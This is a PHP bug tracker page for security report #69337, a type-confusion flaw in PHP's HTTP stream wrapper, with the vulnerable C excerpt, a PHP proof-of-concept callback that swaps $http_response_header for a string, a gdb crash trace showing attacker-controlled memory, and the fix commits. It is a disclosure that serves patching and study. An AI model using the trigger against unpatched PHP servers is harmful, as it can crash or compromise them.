php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #69337 php_stream_url_wrap_http_ex() type-confusion vulnerability
Submitted: 2015-03-31 07:47 UTC Modified: 2015-04-14 07:28 UTC
From: bugs at themadbat dot com Assigned:
Status: Closed Package: Streams related
PHP Version: Irrelevant OS:
Private report: No CVE-ID:
 [2015-03-31 07:47 UTC] bugs at themadbat dot com
Description:
------------
php_stream_url_wrap_http_ex() creates a $http_response_header array variable in the local execution scope (which may be the global scope).

Then it gets a pointer to this variable, and throughout the function's execution accesses it multiple times, assuming that:
1) the variable still exists
1) the variable is indeed an array

ext/standard/http_fopen_wrapper.c:

	if (header_init) {
		zval *ztmp;
		MAKE_STD_ZVAL(ztmp);
		array_init(ztmp);
		ZEND_SET_SYMBOL(EG(active_symbol_table), "http_response_header", ztmp);
	}

	{
		zval **rh;
		zend_hash_find(EG(active_symbol_table), "http_response_header", sizeof("http_response_header"), (void **) &rh);
		response_header = *rh;
	}	

	.....
	
	ZVAL_STRINGL(http_response, tmp_line, tmp_line_len, 1);
	zend_hash_next_index_insert(Z_ARRVAL_P(response_header), &http_response, sizeof(zval *), NULL);


However, by using the stream notifications feature, an attacker can change the type of the $http_response_header variable before the function has finished executing, resulting in a type-confusion vulnerability, which has been shown several times in the past to lead to arbitrary code execution.

There are numerous stream notification codes that can be used for this purpose:
- STREAM_NOTIFY_REDIRECTED
- STREAM_NOTIFY_AUTH_RESULT
- STREAM_NOTIFY_FAILURE

And possibly others... The function should probably zval_add_ref() the $http_response_header as soon as its initialized, and then validate its type before every use, rather than assume its still an array.

Tested against:
- 64-bit PHP 5.5.9-1ubuntu4.7 (cli)
- 32-bit PHP 5.5.9-1ubuntu4.7 (cli)
- 32/64-bit PHP 5.6.7 (cli) (built: Mar 27 2015 07:04:21) (DEBUG)   - custom build with ./configure --enable-debug

Test script:
---------------
<?php
   function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max)
   {
       if($notification_code == STREAM_NOTIFY_REDIRECTED)
       {
        // $http_response_header is now a string, but will be used as an array
        // by php_stream_url_wrap_http_ex() later on
        $GLOBALS['http_response_header'] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0\0\0\0";
       }
   }

   $ctx = stream_context_create();
   stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));

   file_get_contents("http://php.net/get-involved", false, $ctx); // any url that causes a http redirection
?>

Expected result:
----------------
Segmentation fault

Actual result:
--------------
(gdb) r
Starting program: /php-5.6.7/sapi/cli/php test2.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x0000000000808166 in _zend_hash_index_update_or_next_insert (ht=0x7ffff7eb1f08, h=7016996765293437281, pData=0x7fffffff8cc0, nDataSize=8, pDest=0x0, flag=4, 
    __zend_filename=0xc2f1d0 "/php-5.6.7/ext/standard/http_fopen_wrapper.c", __zend_lineno=726) at /php-5.6.7/Zend/zend_hash.c:399
399     p = ht->arBuckets[nIndex];
2: x/i $pc
=> 0x808166 <_zend_hash_index_update_or_next_insert+235>:       mov    (%rax),%rax

(gdb) bt
#0  0x0000000000808166 in _zend_hash_index_update_or_next_insert (ht=0x7ffff7eb1f08, h=7016996765293437281, pData=0x7fffffff8cc0, nDataSize=8, pDest=0x0, flag=4, 
    __zend_filename=0xc2f1d0 "/php-5.6.7/ext/standard/http_fopen_wrapper.c", __zend_lineno=726) at /php-5.6.7/Zend/zend_hash.c:399
#1  0x000000000072d47a in php_stream_url_wrap_http_ex (wrapper=0xf5b520 <php_stream_http_wrapper>, path=0x7fffffffa130 "http://php.net/get-involved.php", mode=0xc1edab "rb", options=0, opened_path=0x0, context=0x7ffff7fc8190, 
    redirect_max=19, flags=2, __php_stream_call_depth=0, __zend_filename=0xc2f1d0 "/php-5.6.7/ext/standard/http_fopen_wrapper.c", __zend_lineno=895, __zend_orig_filename=0x0, __zend_orig_lineno=0)
    at /php-5.6.7/ext/standard/http_fopen_wrapper.c:726
#2  0x000000000072e599 in php_stream_url_wrap_http_ex (wrapper=0xf5b520 <php_stream_http_wrapper>, path=0x7ffff7eb2048 "http://php.net/get-involved", mode=0xc1edab "rb", options=0, opened_path=0x0, context=0x7ffff7fc8190, 
    redirect_max=19, flags=1, __php_stream_call_depth=0, __zend_filename=0xc2f1d0 "/php-5.6.7/ext/standard/http_fopen_wrapper.c", __zend_lineno=951, __zend_orig_filename=0x0, __zend_orig_lineno=0)
    at /php-5.6.7/ext/standard/http_fopen_wrapper.c:895
#3  0x000000000072e8d2 in php_stream_url_wrap_http (wrapper=0xf5b520 <php_stream_http_wrapper>, path=0x7ffff7eb2048 "http://php.net/get-involved", mode=0xc1edab "rb", options=0, opened_path=0x0, context=0x7ffff7fc8190, 
    __php_stream_call_depth=1, __zend_filename=0xc38f18 "/php-5.6.7/main/streams/streams.c", __zend_lineno=2066, __zend_orig_filename=0xc1e698 "/php-5.6.7/ext/standard/file.c", __zend_orig_lineno=550)
    at /php-5.6.7/ext/standard/http_fopen_wrapper.c:951
#4  0x000000000077d37c in _php_stream_open_wrapper_ex (path=0x7ffff7eb2048 "http://php.net/get-involved", mode=0xc1edab "rb", options=8, opened_path=0x0, context=0x7ffff7fc8190, __php_stream_call_depth=0, 
    __zend_filename=0xc1e698 "/php-5.6.7/ext/standard/file.c", __zend_lineno=550, __zend_orig_filename=0x0, __zend_orig_lineno=0) at /php-5.6.7/main/streams/streams.c:2064
#5  0x00000000006d0842 in zif_file_get_contents (ht=3, return_value=0x7ffff7fc68e8, return_value_ptr=0x7ffff7f8f1c8, this_ptr=0x0, return_value_used=0) at /php-5.6.7/ext/standard/file.c:548
#6  0x0000000000619ff3 in phar_file_get_contents (ht=3, return_value=0x7ffff7fc68e8, return_value_ptr=0x7ffff7f8f1c8, this_ptr=0x0, return_value_used=0) at /php-5.6.7/ext/phar/func_interceptors.c:225
#7  0x000000000083b5d8 in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7f8f260) at /php-5.6.7/Zend/zend_vm_execute.h:558
#8  0x0000000000840e49 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0x7ffff7f8f260) at /php-5.6.7/Zend/zend_vm_execute.h:2595
#9  0x000000000083ac47 in execute_ex (execute_data=0x7ffff7f8f260) at /php-5.6.7/Zend/zend_vm_execute.h:363
#10 0x000000000083acd0 in zend_execute (op_array=0x7ffff7fc4da0) at /php-5.6.7/Zend/zend_vm_execute.h:388
#11 0x00000000007f6aa3 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /php-5.6.7/Zend/zend.c:1341
#12 0x000000000075d181 in php_execute_script (primary_file=0x7fffffffd290) at /php-5.6.7/main/main.c:2597
#13 0x00000000008a915e in do_cli (argc=2, argv=0xf7b9e0) at /php-5.6.7/sapi/cli/php_cli.c:994
#14 0x00000000008aa48c in main (argc=2, argv=0xf7b9e0) at /php-5.6.7/sapi/cli/php_cli.c:1378
(gdb) print ht
$18 = (HashTable *) 0x7ffff7eb1f08

(gdb) print *ht
$19 = {nTableSize = 1633771873, nTableMask = 1633771873, nNumOfElements = 1633771873, nNextFreeElement = 7016996765293437281, pInternalPointer = 0x6161616161616161, pListHead = 0x6161616161616161, pListTail = 0x6161616161616161, 
  arBuckets = 0x6161616161616161, pDestructor = 0x6161616161616161, persistent = 97 'a', nApplyCount = 97 'a', bApplyProtection = 97 'a', inconsistent = 0}

(gdb) x/s ht
0x7ffff7eb1f08: 'a' <repeats 68 times>

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-04-14 07:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=d82d68742c69fc20a5180a2dbcca4cac52435931
Log: Fix bug #69337 (php_stream_url_wrap_http_ex() type-confusion vulnerability)
 [2015-04-14 07:29 UTC] stas@php.net
-Status: Open +Status: Closed
 [2015-04-14 08:31 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=d82d68742c69fc20a5180a2dbcca4cac52435931
Log: Fix bug #69337 (php_stream_url_wrap_http_ex() type-confusion vulnerability)
 [2015-04-15 08:43 UTC] jpauli@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=d0bbb8b1339f3bd8ba4db244fa6c79ac75ad4b11
Log: Fix bug #69337 (php_stream_url_wrap_http_ex() type-confusion vulnerability)
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Sun Apr 23 17:01:36 2017 UTC